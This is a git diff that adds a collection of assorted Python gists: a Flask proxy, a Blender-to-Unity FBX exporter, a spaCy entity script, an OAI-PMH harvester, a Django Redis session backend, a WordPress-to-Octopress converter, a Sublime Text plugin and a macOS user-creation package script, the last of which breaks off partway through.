+    if request.method == "POST":
+        form_data = list(iterform(request.form))
+        form_data = urllib.urlencode(form_data)
+        request_headers["Content-Length"] = len(form_data)
+    else:
+        form_data = None
+
+    conn = httplib.HTTPConnection(hostname, port)
+    conn.request(request.method, path, body=form_data, headers=request_headers)
+    resp = conn.getresponse()
+
+    # Clean up response headers for forwarding
+    response_headers = Headers()
+    for key, value in resp.getheaders():
+        if key in ["content-length", "connection", "content-type"]:
+            continue
+
+        if key == "set-cookie":
+            cookies = value.split(",")
+            [response_headers.add(key, c) for c in cookies]
+        else:
+            response_headers.add(key, value)
+
+    # If this is a redirect, munge the Location URL
+    if "location" in response_headers:
+        redirect = response_headers["location"]
+        parsed = urlparse.urlparse(request.url)
+        redirect_parsed = urlparse.urlparse(redirect)
+
+        redirect_host = redirect_parsed.netloc
+        if not redirect_host:
+            redirect_host = "%s:%d" % (hostname, port)
+
+        redirect_path = redirect_parsed.path
+        if redirect_parsed.query:
+            redirect_path += "?" + redirect_parsed.query
+
+        munged_path = url_for(".proxy_request",
+                              host=redirect_host,
+                              file=redirect_path[1:])
+
+        url = "%s://%s%s" % (parsed.scheme, parsed.netloc, munged_path)
+        response_headers["location"] = url
+
+    # Rewrite URLs in the content to point to our URL scheme instead.
+    # Ugly, but seems to mostly work.
+    root = url_for(".proxy_request", host=host)
+    contents = resp.read()
+    for regex in REGEXES:
+        contents = regex.sub(r'\1%s' % root, contents)
+
+    flask_response = Response(response=contents,
+                              status=resp.status,
+                              headers=response_headers,
+                              content_type=resp.getheader('content-type'))
+    return flask_response
\ No newline at end of file
diff --git a/hard-gists/122f258ba6eaa23dd9c5/._snippet.py b/hard-gists/122f258ba6eaa23dd9c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/122f258ba6eaa23dd9c5/._snippet.py differ
diff --git a/hard-gists/122f258ba6eaa23dd9c5/snippet.py b/hard-gists/122f258ba6eaa23dd9c5/snippet.py
new file mode 100644
index 00000000..2acd599c
--- /dev/null
+++ b/hard-gists/122f258ba6eaa23dd9c5/snippet.py
@@ -0,0 +1,208 @@
+##########################################################
+# Custom Blender -> Unity Pipeline
+# http://www.mimimi-productions.com, 2014
+# Version: 1.9.M2
+# Only for Blender 2.58 and newer
+#
+# Thanks to kastoria, jonim8or and Freezy for their support!
+# Special thanks to Sebastian hagish Dorda for implementing the sort methods.
+# http://www.blenderartists.org
+##########################################################
+# Fixes the -90 degree (x-axis) problem for Unity.
+# Artists and coders simply work as they should.
+# -> No more custom rotation-fixes in Unity or Blender.
+##########################################################
+# HISTORY
+# 1.9.M2 FIX -- Objects with "restrict viewport selection" (aka hide_select) will now 
+#				be ignored properly when UNITY_EXPORT=0, and will be transformed properly when not ignored. 
+# 1.9.M FIX -- Changed the order that UNITY_EXPORT is applied in so that all children 
+# 				  are removed as well. (the old approach had some issues)
+# 1.9, CLEANUP -- removed support for old Blender versions, only support 2.58 and newer
+# 1.8, FIX -- applies transforms in order (parents prior childs)
+# 1.7, FIX -- shows hidden objects prior importing
+# 1.6b, FIX -- Apply mirror modifiers before rotating anything else
+# 1.6a, FIX -- deselect all objects, otherwise deleting wrong objects when using UNITY_EXPORT flag
+# 1.6, FEATURE -- support UNITY_EXPORT flag --> set via MiBlender-Tools or e.g.: bpy.data.objects['enemy_small']['UNITY_EXPORT'] = False
+# 1.6, FIX -- now import empties
+# 1.5, FIX -- make all objects single user, otherwise instances can't be imported
+# 1.4, FIX -- show all layers, necessary for rotation fix
+# 1.3, FIX -- location constraints are now deactivated (due to rotation prior to export)
+# 1.2, FIX -- apply rotation worked only on selection! (thx jonim8or)
+# 1.1, FIX -- object mode doesn't need to be set in file anymore
+##########################################################
+# TO DO
+# ISSUE -- do not use empties as parents (rotation can't be applied to them!)
+# ISSUE -- transform animations are missing because we are not exporting the default take --> thus only bone-animations are working?!
+# ISSUE -- LIMIT_LOCATION animation constraint is forbidden! Will be muted and not work in engine (anim might look different compared to Blender)
+# 2.0, FEATURE -- support UNITY_EXPORT_DEFAULT_TAKE --> can export no-bone-animations to Unity
+##########################################################
+
+import bpy
+
+try: import io_scene_fbx.export_fbx
+except:
+	print('error: io_scene_fbx.export_fbx not found.')
+	# This might need to be bpy.Quit()
+	raise
+
+import os
+import math
+from mathutils import Matrix
+from functools import cmp_to_key
+
+# SORTING HELPERS (sort list of objects, parents prior to children)
+# root object -> 0, first child -> 1, ...
+def myDepth(o): 
+	if o == None:
+		return 0
+	if o.parent == None:
+		return 0
+	else:
+		return 1 + myDepth(o.parent)
+
+# compare: parent prior child
+def myDepthCompare(a,b):
+	da = myDepth(a)
+	db = myDepth(b)
+	if da < db:
+		return -1
+	elif da > db:
+		return 1
+	else:
+		return 0
+		
+def delete_hierarchy(obj):
+    names = set([obj.name])
+
+    # recursion
+    def get_child_names(obj):
+        for child in obj.children:
+            names.add(child.name)
+            if child.children:
+                get_child_names(child)
+
+    get_child_names(obj)
+
+    print(names)
+    objects = bpy.data.objects
+    [setattr(objects[n], 'select', True) for n in names]
+
+    bpy.ops.object.delete()
+
+
+
+# Operator HELPER
+class FakeOp:
+	def report(self, tp, msg):
+		print("%s: %s" % (tp, msg))
+
+# Find the Blender output file
+outfile = os.getenv("UNITY_BLENDER_EXPORTER_OUTPUT_FILE")
+
+# Rotation matrix 
+
+# Use this if you want Unity Z to be inverse of Blender Y (and vice versa)
+#matPatch = Matrix.Rotation(-math.pi / 2.0, 4, 'X')
+
+# Use this if you want Unity Z to equal Blender Y (and vice versa)
+matPatch = Matrix.Rotation(math.radians(180.0), 4, 'Z');
+matPatch = matPatch * Matrix.Rotation(math.radians(90.0), 4, 'X');
+    
+
+# do the conversion
+print("Starting blender to FBX conversion " + outfile)
+
+# deselect everything to close edit / pose mode etc.
+bpy.context.scene.objects.active = None
+
+# activate all 20 layers
+for i in range(0, 20):
+	bpy.data.scenes[0].layers[i] = True;
+
+# show all root objects
+for obj in bpy.data.objects:
+	obj.hide = False;
+	obj.hide_select = False; #we delete objects by selecting them, so we need them to be selectable!
+	
+# make single user (otherwise import fails on instances!) --> no instance anymore
+bpy.ops.object.make_single_user(type='ALL', object=True, obdata=True)
+
+# deselect all objects to make sure we don't delete anything by accident
+for obj in bpy.data.objects:
+	obj.select = False;
+
+# delete objects that have UNITY_EXPORT = 0 
+for obj in sorted(bpy.data.objects, key=cmp_to_key(myDepthCompare)):
+	obj.select = True;
+	if obj.get('UNITY_EXPORT', True) == False:
+		delete_hierarchy(obj) # delete object and children
+	# deselect again
+	obj.select = False;
+
+
+
+# prepare rotation-sensitive data
+# a) deactivate animation constraints
+# b) apply mirror modifiers
+for obj in bpy.data.objects:
+	# only posed objects
+	if obj.pose is not None:
+		# check constraints for all bones
+		for pBone in obj.pose.bones:
+			for constraint in pBone.constraints:
+				# for now only deactivate limit_location
+				if constraint.type == 'LIMIT_LOCATION':
+					constraint.mute = True
+	# need to activate current object to apply modifiers
+	bpy.context.scene.objects.active = obj
+	for modifier in obj.modifiers:
+		# if you want to delete only UV_project modifiers
+		# OwenG: Do NOT apply Armature modifiers. Applying an armature breaks it!
+		if modifier.type != 'ARMATURE':
+			bpy.ops.object.modifier_apply(apply_as='DATA', modifier=modifier.name)
+
+# deselect again, deterministic behaviour!
+bpy.context.scene.objects.active = None
+
+# Iterate the objects in the file, only root level and rotate them
+for obj in bpy.data.objects:		
+	if obj.parent != None:
+		continue
+	obj.matrix_world = matPatch * obj.matrix_world
+
+# deselect everything to make behaviour deterministic -- instead of "export selected" we use the UNITY_EXPORT flag
+for obj in bpy.data.objects:
+	obj.select = False;
+	
+# apply all(!) transforms, parents before children
+for obj in sorted(bpy.data.objects, key=cmp_to_key(myDepthCompare)):
+	obj.select = True;
+	# apply transform
+	bpy.ops.object.transform_apply(rotation=True)
+	# deselect again
+	obj.select = False;
+
+#export_default_take = bpy.context.object['UNITY_EXPORT_DEFAULT_TAKE'];
+
+# custom args
+# all possible args listed here: https://www.blender.org/api/blender_python_api_2_75_1/bpy.ops.export_scene.html
+kwargs = dict(	# we dont need the rotation in the exporter anymore
+				# global_matrix=Matrix.Rotation(-math.pi / 2.0, 4, 'X'),
+				use_selection=False,
+				# we need 'EMPTY' for placeholder-transforms and helpers -- but artists can choose to not export them via UNITY_EXPORT flag
+				object_types={'ARMATURE', 'MESH', 'EMPTY'},
+				use_mesh_modifiers=True,
+				use_armature_deform_only=True,
+				use_anim=True,
+				use_anim_optimize=False,
+				use_anim_action_all=True,
+				batch_mode='OFF',
+				# TODO: used only for animated objects without bones -- artists have to define this manually
+				# Note: the animation data in the default take will also not be rotated correctly
+				use_default_take=False,
+				)
+				
+# export!
+io_scene_fbx.export_fbx.save(FakeOp(), bpy.context, filepath=outfile, **kwargs)
+
+print("Finished blender to FBX conversion " + outfile)
\ No newline at end of file
diff --git a/hard-gists/1231964e784ab9acb65d/._snippet.py b/hard-gists/1231964e784ab9acb65d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1231964e784ab9acb65d/._snippet.py differ
diff --git a/hard-gists/1231964e784ab9acb65d/snippet.py b/hard-gists/1231964e784ab9acb65d/snippet.py
new file mode 100644
index 00000000..f875d0fc
--- /dev/null
+++ b/hard-gists/1231964e784ab9acb65d/snippet.py
@@ -0,0 +1,25 @@
+from __future__ import unicode_literals
+from __future__ import print_function
+import sys
+
+import plac
+import bz2
+import ujson
+import spacy.en
+
+def main(input_loc):
+    print("Loading...")
+    nlp = spacy.en.English()
+    for line in bz2.BZ2File(input_loc):
+        comment = ujson.loads(line)
+        parse = nlp(comment['body'])
+        for person in (ent for ent in parse.ents if ent.label_ == 'ORG'):
+            if person.string.isspace(): # Work around a bug :(. Fixed next version.
+                continue
+            if person.root.dep_ == 'nsubj':
+                for dobj in (w for w in person.root.head.rights if w.dep_ == 'dobj'):
+                    print(person.string, person.root.head.orth_,
+                          ''.join(w.string for w in dobj.subtree))
+
+if __name__ == '__main__':
+    plac.call(main)
\ No newline at end of file
diff --git a/hard-gists/1233846/._snippet.py b/hard-gists/1233846/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1233846/._snippet.py differ
diff --git a/hard-gists/1233846/snippet.py b/hard-gists/1233846/snippet.py
new file mode 100644
index 00000000..175e9d19
--- /dev/null
+++ b/hard-gists/1233846/snippet.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+
+# uses http://www.infrae.com/download/OAI/pyoai
+from oaipmh.client import Client
+from oaipmh.metadata import MetadataRegistry, oai_dc_reader
+
+URL = 'http://researchcommons.waikato.ac.nz/dspace-oai/request'
+registry = MetadataRegistry()
+registry.registerReader('oai_dc', oai_dc_reader)
+client = Client(URL, registry)
+
+
+for record in client.listRecords(metadataPrefix='oai_dc'):
+  print record[0].identifier()
+
diff --git a/hard-gists/1234843/._snippet.py b/hard-gists/1234843/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1234843/._snippet.py differ
diff --git a/hard-gists/1234843/snippet.py b/hard-gists/1234843/snippet.py
new file mode 100644
index 00000000..1dab18e4
--- /dev/null
+++ b/hard-gists/1234843/snippet.py
@@ -0,0 +1,88 @@
+# originally from https://github.com/martinrusev/django-redis-sessions
+# but use json, not pickle
+import json
+import pickle
+import time
+from redis import Redis
+from django.utils.encoding import force_unicode
+from django.contrib.sessions.backends.base import SessionBase, CreateError
+from django.conf import settings
+
+
+class SessionStore(SessionBase):
+    """
+    Implements Redis database session store.
+    """
+
+    def __init__(self, session_key=None):
+        super(SessionStore, self).__init__(session_key)
+        self.db = Redis(
+            host=getattr(settings, 'SESSION_REDIS_HOST', 'localhost'),
+            port=getattr(settings, 'SESSION_REDIS_PORT', 6379),
+            db=getattr(settings, 'SESSION_REDIS_DB', 0),
+            password=getattr(settings, 'SESSION_REDIS_PASSWORD', None)
+        )
+
+    def encode(self, session_dict):
+        d = {}
+        for k in session_dict:
+            # hold openid's hand
+            if k.startswith('_yadis') or k.startswith('_openid'):
+                d[k] = pickle.dumps(session_dict[k])
+            else:
+                d[k] = session_dict[k]
+        return json.dumps(d)
+
+    def decode(self, session_data):
+        # This mirrors SessionBase.decode()'s convention of catching all errors
+        try:
+            d = json.loads(session_data)
+            for k in d:
+                # hold openid's hand again
+                if k.startswith('_yadis') or k.startswith('_openid'):
+                    d[k] = pickle.loads(d[k])
+            return d
+        except:
+            return {}
+
+    def load(self):
+        try:
+            data = self.db.get(self.session_key)
+            return self.decode(data)
+        except:
+            self.create()
+            return {}
+
+    def exists(self, session_key):
+        if self.db.exists(session_key):
+            return True
+        return False
+
+
+    def create(self):
+        while True:
+            self.session_key = self._get_new_session_key()
+            try:
+                self.save(must_create=True)
+            except CreateError:
+                continue
+            self.modified = True
+            return
+
+    def save(self, must_create=False):
+        if must_create and self.exists(self.session_key):
+            raise CreateError
+        data = self.encode(self._get_session(no_load=must_create))
+        self.db.set(self.session_key, data)
+        self.db.expire(self.session_key, self.get_expiry_age())
+        # or should this rather be get_expiry_date()?
+
+    def delete(self, session_key=None):
+        if session_key is None:
+            if self._session_key is None:
+                return
+            session_key = self._session_key
+        try:
+            self.db.delete(session_key)
+        except:
+            pass
diff --git a/hard-gists/1239373/._snippet.py b/hard-gists/1239373/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1239373/._snippet.py differ
diff --git a/hard-gists/1239373/snippet.py b/hard-gists/1239373/snippet.py
new file mode 100644
index 00000000..6644d384
--- /dev/null
+++ b/hard-gists/1239373/snippet.py
@@ -0,0 +1,242 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+import sys
+import os
+import re
+import yaml
+import urllib
+import codecs
+from datetime import datetime
+from BeautifulSoup import BeautifulStoneSoup, Comment
+
+# save markdown to single LOGFILE
+DEBUG = False
+XML = "wordpress.2011-09-19.xml"
+EXPORT_ROOT = 'source/'
+MARKDOWN_FORMAT = '%04d-%02d-%02d-%s.markdown'
+LOGFILE = "log.markdown"
+EXCLUDE_METAS = [
+    u'_edit_last',
+    u'superawesome',
+    u'delicious',
+    u'_wp_page_template',
+]
+EXCLUDE_CATEGORIES = [
+    u'Uncategorized',
+]
+EXCLUDE_TAGS = []
+
+def to_markdown(txt):
+    matches = [
+    	[r'</?strong>', '**'],
+    	[r'</?em>', '*'],
+    	[r'<h1>', '# '],
+    	[r'<h2>', '## '],
+    	[r'<h3>', '### '],
+    	[r'<h4>', '#### '],
+    	[r'<h5>', '##### '],
+    	[r'<h6>', '###### '],
+    	[r'</h\d>', '\n'],
+    	[r'</?p[^>]*>', '\n'], # <p class=blahblah>..</p>
+    	[r'</?span[^>]*>',''], # <span class=blahblah>..</span>
+    	[r'<br\s*/?>', '  '],
+    	[r' {3,}', '  '],
+    	[r'<a.+?href="([^"]+)"[^>]*>([^<]+)</a>', r'[\2](\1)'],
+    	[r'<li>', '- '],
+    	[r'</li>', ''],
+    	[r'</?ul>', ''],
+    	[r'</?ol>', ''],
+    	[r'\n{3}', '\n\n'],
+    	[r'&amp;', '&'],
+    	[r'&lt;', '<'],
+    	[r'&gt;', '>'],
+    	[r'&nbsp;', ' '],
+    	[r'&quot;', '"'],
+    	[r'&#\d+;',''], # &#NNNN; some html entities
+
+    	# remove custom tags found in xml
+    	[r'<div class="blogger-post-footer">.+</div>',''],
+
+        # liquid tag conflict. but {{}} is manually fixed :P
+        [r'{%(.+?)%}', r'{{ "{% \1 "}} %}'],    	
+
+        # octopress plugin
+    	[r'<img(.+?)src="([^"]+)"\s+alt="([^"]+)"[^>]*/>', r'{% img \2 \3 %}'],
+    	[r'<img(.+?)src="([^"]+)"[^>]*/>', r'{% img \2 %}'],
+    	[r'\[sourcecode language=["\']([^"\']+)["\']\]', r'{% codeblock lang:\1 %}'],
+    	[r'\[/sourcecode\]', r'{% endcodeblock %}'],
+    	[r'\[cpp\]', r'{% codeblock lang:cpp %}'],
+    	[r'\[/cpp\]', r'{% endcodeblock %}'],
+    	[r'\[python\]', r'{% codeblock lang:python %}'],
+    	[r'\[/python\]', r'{% endcodeblock %}'],
+    	[r'\[code\]', r'```\n'],
+    	[r'\[/code\]', r'```'],
+        [r'<pre><code>', r'```\n'],
+        [r'</code></pre>', r'```'],
+    	[r'<pre>', r'```\n'],
+    	[r'</?pre>', r'```'],
+    	#[r'</?code>', r'```'],
+        [r'<blockquote>', r'{% blockquote %}'],
+        [r'</blockquote>', r'{% endblockquote %}'],
+    ]
+
+    for match in matches:
+        txt = re.sub(match[0], match[1], txt)
+
+    return txt
+    
+def slugify(title):
+    # this may break permlink.... please checkout removal of some chars.
+    title = title.strip().lower()
+    matches = [
+    	[r"[,.]", ''],
+    	[r" ", '-'],
+    ]
+    for match in matches:
+        title = re.sub(match[0], match[1], title)
+    
+    return title
+
+def parse_item(item):
+    # pub_date = item.find("pubDate") # some old posts have missing year. ex> Wed, 30 Nov -0001 00:00:00 +0000 
+    # creator = item.find("dc:creator") # always me
+    # guid = item.find("guid") # original imported URL. can be None. isPermaLink alwase false
+    # description = item.find("description") # i never use this :P
+    # excerpt = item.find("excerpt:encoded") # i never use this :P
+    # wp_post_id = item.find("wp:post_id") # integer
+    # wp_post_date_gmt = item.find("wp:post_date_gmt") # sometimes 0000-00-00 00:00:00
+    # wp_ping_status = item.find("wp:ping_status") # open, closed
+    # wp_post_parent = item.find("wp:post_parent") # wp:post_id
+    # wp_menu_order = item.find("wp:menu_order") # integer?
+    # wp_is_stiky = item.find("wp:is_sticky") # 0 or 1 ?
+    
+    def _(node):
+        if not node or not node.string:
+            return u''            
+        u = unicode(node.string)
+        if u.startswith(u'<![CDATA['):
+            u = u[9:-3]
+        return u
+    
+    # ex> post, page, attachment, custom_dns(for dns service)
+    wp_post_type = _(item.find("wp:post_type")) 
+    if wp_post_type not in (u'post', u'page'):
+        return
+    
+    # ex> draft, auto-draft, private, publish, attachment, inherit(for attachment)
+    wp_status = _(item.find("wp:status")) 
+    if wp_status == u'attachment':
+        return
+
+    title = _(item.find("title"))
+    title = title.replace("\\","") # backslash raise error on yaml string
+
+    wp_post_date = _(item.find("wp:post_date")) 
+    post_date = datetime.strptime(wp_post_date,"%Y-%m-%d %H:%M:%S")
+
+    # slug can be null or quoted already (if cjk title)
+    slug = _(item.find("wp:post_name"))
+    if not slug:
+        slug = slugify(title)
+    else:
+        slug = urllib.unquote(slug.encode('utf-8')).decode('utf-8')
+        
+    assert isinstance(slug, unicode), 'slug should be unicode'
+        
+    filename = u'%04d-%02d-%02d-%s.markdown'%(post_date.year, post_date.month, post_date.day, slug)
+
+    if DEBUG:
+        out = codecs.open( LOGFILE, "a", "utf-8")
+        out.write(u'\n_%ss/%s\n'% (wp_post_type, filename))
+    else:
+        path = os.path.join(u"source", u"_%ss"% wp_post_type)
+        if not os.access( path, os.F_OK ):
+            os.mkdir( path )
+        try:
+            out = codecs.open( os.path.join(path, filename), "w", "utf-8")
+        except UnicodeDecodeError, e:
+            print 'UnicodeDecodeError:', str(e), 'in', post_date, _(item.find("title"))
+            print 'slug', type(slug), 'filename', type(filename), 'path', type(path)
+            return
+
+    # starting yaml header
+    out.write(u'---\n')
+    
+    # post or page layout template
+    out.write(u'layout: %s\n'% wp_post_type)
+
+    # sometimes title contains html entities like &amp; &lt; &gt; ...
+    out.write(u'title: "%s"\n'% title)
+
+    # NOTE bulk-imported posts have same datetime!
+    out.write(u'date: %s\n'% post_date)
+
+    # perm link? normally contains original link.
+    link = _(item.find("link"))
+    out.write(u'link: %s\n'% link)
+
+    tags = []
+    for tag in item.findAll("category",{"domain":"tag"}):
+        tags.append(_(tag))
+    tags = list(set([t for t in tags if t not in EXCLUDE_TAGS]))
+    if tags:
+        out.write(u'tags:\n')
+        for tag in tags:
+            out.write(u'- %s\n'% tag)
+
+    categories = []
+    for category in item.findAll("category",{"domain":"category"}):
+        categories.append(_(category))
+    categories = list(set([c for c in categories if c not in EXCLUDE_CATEGORIES]))
+    if categories:
+        out.write(u'categories:\n')
+        for category in categories:
+            out.write(u'- %s\n'% category)
+
+    # some metas are useless...
+    metas = {}
+    for meta in item.findAll("wp:post_meta"):
+        meta_key = _(meta.find("wp:meta_key"))
+        meta_value = _(meta.find("wp:meta_value"))
+        if meta_key not in EXCLUDE_METAS:
+            metas[meta_key] = meta_key
+    if metas:
+        out.write(u'meta:\n')
+        for k, v in metas:
+            out.write(u'  %s: %s\n'% (k, v))
+
+    #out.write(u'status: %s\n'% wp_status)
+
+    # octopress will skip unpublished posts.
+    out.write(u'published: %s\n'% ('true' if wp_status == u'publish' else 'false'))
+
+    # octopress will not show comment input??
+    # ex> open, closed
+    wp_comment_status = _(item.find("wp:comment_status")) 
+    out.write(u'comments: %s\n'% ('true' if wp_comment_status == u'open' else 'false'))
+    
+    # end of yaml header
+    out.write(u'---\n')
+
+    content = _(item.find("content:encoded"))
+    content = to_markdown(content.strip())
+    out.write(content)
+
+    out.close()    
+        
+if __name__ == '__main__':
+
+    if DEBUG:
+        if os.access(LOGFILE, os.F_OK ):
+            os.remove(LOGFILE)
+        
+    # if len(sys.argv) > 1:
+    #     XML = sys.argv[1]
+        
+    print 'loading...'
+    soup = BeautifulStoneSoup(open(XML))
+    print 'parsing...'
+    for item in soup.findAll("item"):
+        parse_item(item)
+    print 'done'
+        
\ No newline at end of file
diff --git a/hard-gists/1239674/._snippet.py b/hard-gists/1239674/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1239674/._snippet.py differ
diff --git a/hard-gists/1239674/snippet.py b/hard-gists/1239674/snippet.py
new file mode 100644
index 00000000..96876cb1
--- /dev/null
+++ b/hard-gists/1239674/snippet.py
@@ -0,0 +1,74 @@
+# encoding: utf-8
+
+import sublime
+import sublime_plugin
+
+
+class UnicodeTransformer(sublime_plugin.EventListener):
+    """The transfrormer was tested with CoffeeScript code."""
+    _just_io = False  # Determines if the file was just loaded / saved.
+    _is_saving = False
+    substitutions = {
+        u"<-": u"←",
+        u"->": u"→",
+        u"=>": u"⇒",
+        u">=": u"≳",
+        u"<=": u"≲",
+        u"==": u"≡",
+        u"!=": u"≠",
+        u" for ": u" ∀ ",
+        u" or ": u" ∨ ",
+        u" and ": u" ∧ ",
+        u" in ": u" ∈ ",
+        u" not in ": u" ∉ ",
+        u" not ": u" ¬ ",
+    }
+
+    def _replace(self, view, edit, replace_from, replace_to):
+        def get_region():
+            return view.find(replace_from, 0)
+        region = get_region()
+        while region:
+            view.replace(edit, region, replace_to)
+            region = get_region()
+
+    def _replace_all(self, view, reversed):
+        edit = view.begin_edit()
+        for text, subst in self.substitutions.items():
+            if reversed:
+                replace_from, replace_to = subst, text
+            else:
+                replace_from, replace_to = text, subst
+            self._replace(view, edit, replace_from, replace_to)
+        view.end_edit(edit)
+
+    def plain_to_unicode(self, view):
+        self._replace_all(view, False)
+
+    def unicode_to_plain(self, view):
+        self._replace_all(view, True)
+
+    def on_modified(self, view):
+        if self._is_saving or view.is_loading():
+            return
+        if self._just_io:
+            self._just_io = False
+            return
+        if view.is_scratch():
+            view.set_scratch(False)
+        self.plain_to_unicode(view)
+
+    def on_load(self, view):
+        view.set_scratch(True)
+        self.plain_to_unicode(view)
+        self._just_io = True
+
+    def on_pre_save(self, view):
+        self._is_saving = True
+        self.unicode_to_plain(view)
+
+    def on_post_save(self, view):
+        view.set_scratch(True)
+        self.plain_to_unicode(view)
+        self._just_io = True
+        self._is_saving = False
diff --git a/hard-gists/1242589/._snippet.py b/hard-gists/1242589/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1242589/._snippet.py differ
diff --git a/hard-gists/1242589/snippet.py b/hard-gists/1242589/snippet.py
new file mode 100644
index 00000000..6dbbd743
--- /dev/null
+++ b/hard-gists/1242589/snippet.py
@@ -0,0 +1,403 @@
+#!/usr/bin/python
+#
+# Payload free package to create a user on a 10.7 system.
+
+
+import sys
+import os
+import re
+import time
+import subprocess
+from Foundation import *
+
+
+TARGET_DIR = sys.argv[3]
+SCRIPT_DIR = os.path.join(sys.argv[1], "Contents", "Resources")
+
+DEFAULT_GID = 20
+DEFAULT_PICTURE = "/Library/User Pictures/Fun/Smack.tif"
+DEFAULT_SHELL = "/bin/bash"
+DEFAULT_HOME = "/Users/%u"
+
+
+# FIXME: Remove dotdict and use standard notation.
+class dotdict(dict):
+    """Dot notation dictionary access."""
+    
+    def __getattr__(self, attr):
+        return self[attr]
+    
+    __setattr__= dict.__setitem__
+    
+    __delattr__= dict.__delitem__
+    
+
+class CLUError(Exception):
+    """Exception class for Create Lion User."""
+    pass
+    
+
+def dscl(*args):
+    """Execute dscl command on the target volume's local node.
+    
+    This is a convenience function to execute dscl commands using the
+    following template:
+    
+        TARGET/usr/bin/dscl -f TARGET/var/db/dslocal/nodes/Default localonly <arg1> <arg2> <...>
+    
+    Examples:
+    
+        dscl("-search", "/Local/Target/Users", "UniqueID", "501")
+        dscl("-create", "/Local/Target/Users/%s" % user.shortname, "RealName", user.RealName)
+    
+    dscl's return code, stdout, and stderr are returned in a tuple.
+    CLUError is raised if dscl can't execute.
+    """
+    
+    dscl_args = ["%s/usr/bin/dscl" % TARGET_DIR,
+                 "-f",
+                 "%s/var/db/dslocal/nodes/Default" % TARGET_DIR,
+                 "localonly"]
+    dscl_args.extend(args)
+    
+    try:
+        p = subprocess.Popen(dscl_args,
+                             stdout=subprocess.PIPE,
+                             stderr=subprocess.PIPE)
+        (out, err) = p.communicate()
+    except OSError as e:
+        raise CLUError(u"Couldn't execute dscl: %s" % str(e))
+    
+    return (p.returncode, out, err)
+    
+
+def check_os():
+    """Raise a CLUError if OS version isn't 10.7 or higher."""
+    
+    defaults = NSUserDefaults.standardUserDefaults()
+    defaults.addSuiteNamed_(os.path.join(TARGET_DIR, "System/Library/CoreServices/SystemVersion"))
+    os_ver = defaults.stringForKey_("ProductVersion")
+    if not os_ver or not os_ver.startswith("10."):
+        raise CLUError(u"Unrecognized OS version.")
+    os_minor = int(os_ver.split(".")[1])
+    if os_minor < 7:
+        raise CLUError(u"OS version check failed, 10.7+ required.")
+    
+
+class UserConfig(object):
+    """Hold user configuration.
+    
+    A plist is read as the input configuration, and its values are checked.
+    A user dictionary is populated from the configuration, or with default and
+    calculated values.
+    
+    CLUErrors are raised if anything is wrong with the configuration.
+    """
+    
+    def __init__(self, plist):
+        """Initialize user configuration from a property list."""
+        
+        super(UserConfig, self).__init__()
+        
+        plist_data = NSData.dataWithContentsOfFile_(plist)
+        self.conf, format, error = \
+         NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(
+                        plist_data, NSPropertyListMutableContainers, None, None)
+        if error:
+            raise CLUError(u"Couldn't read %s: %s" % (plist, error))
+        
+        # This dictionary will hold the new user we're creating. The check_*-
+        # methods will read the configuration and populate it.
+        self.user = dotdict()
+        
+    
+    re_shortname = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]{0,30}$')
+    
+    def check_shortname(self):
+        """shortname must be 1 to 31 alphanumeric characters, first is alpha."""
+        
+        if not "shortname" in self.conf:
+            raise CLUError(u"A shortname must be provided.")
+        if not self.re_shortname.search(self.conf["shortname"]):
+            raise CLUError(u"Invalid shortname '%s'." % self.conf["shortname"])
+        
+        (ret, out, err) = dscl("-read", u"/Local/Target/Users/%s" % self.conf["shortname"])
+        if ret == 0:
+            raise CLUError(u"User %s already exists" % self.conf["shortname"])
+        
+        self.user.shortname = self.conf["shortname"]
+        
+    
+    def check_realname(self):
+        """Use a RealName if supplied, otherwise use shortname."""
+        
+        self.user.RealName = self.conf.get("RealName", self.user.shortname)
+        
+    
+    def check_password(self):
+        """Ensure a hashed password is provided."""
+        
+        if not "ShadowHashData" in self.conf:
+            raise CLUError(u"ShadowHashData must be provided.")
+        # TODO: Verify syntax of ShadowHashData.
+        self.user.ShadowHashData = self.conf["ShadowHashData"]
+        
+    
+    def check_uniqueid(self):
+        """Use the supplied UID or find an unused UID between 501 and 600."""
+        
+        # Use the supplied UID if given.
+        if "UniqueID" in self.conf:
+            self.user.UniqueID = int(self.conf["UniqueID"])
+            return
+        
+        # Otherwise we search for users with UIDs between 501 and 600.
+        for uid in range(501, 601):
+            (retcode, out, err) = dscl("-search",
+                                       "/Local/Target/Users",
+                                       "UniqueID",
+                                       "%d" % uid)
+            # Empty output from dscl means the UID is available.
+            if not out:
+                self.user.UniqueID = uid
+                return
+        
+    
+    def check_primarygroupid(self):
+        """Use a PrimaryGroupID if supplied, otherwise use default."""
+        
+        self.user.PrimaryGroupID = int(self.conf.get("PrimaryGroupID", DEFAULT_GID))
+        
+    
+    def check_picture(self):
+        """Use a Picture if supplied, otherwise use default."""
+        
+        self.user.Picture = self.conf.get("Picture", DEFAULT_PICTURE)
+        
+    
+    def check_usershell(self):
+        """Use a UserShell if supplied, otherwise use default."""
+        
+        self.user.UserShell = self.conf.get("UserShell", DEFAULT_SHELL)
+        
+    
+    def check_nfshomedirectory(self):
+        """Use a NFSHomeDirectory if supplied, otherwise use default."""
+        
+        home = self.conf.get("NFSHomeDirectory", DEFAULT_HOME)
+        home = re.sub(r'%u', self.user.shortname, home)
+        home = re.sub(r'%n', "%d" % self.user.UniqueID, home)
+        home = re.sub(r'%l', self.user.shortname[0].lower(), home)
+        home = re.sub(r'%L', self.user.shortname[0].upper(), home)
+        self.user.NFSHomeDirectory = home
+        
+    
+    def check_generateduid(self):
+        """Use a UUID if supplied."""
+        
+        self.user.GeneratedUID = self.conf.get("GeneratedUID", None)
+        
+    
+    def check_isadmin(self):
+        """Check if the user should be an administrator, default is no."""
+        
+        self.user.IsAdmin = self.conf.get("IsAdmin", False)
+        
+    
+    def check_ishidden(self):
+        """Check if the user should be hidden from the login window, default is no."""
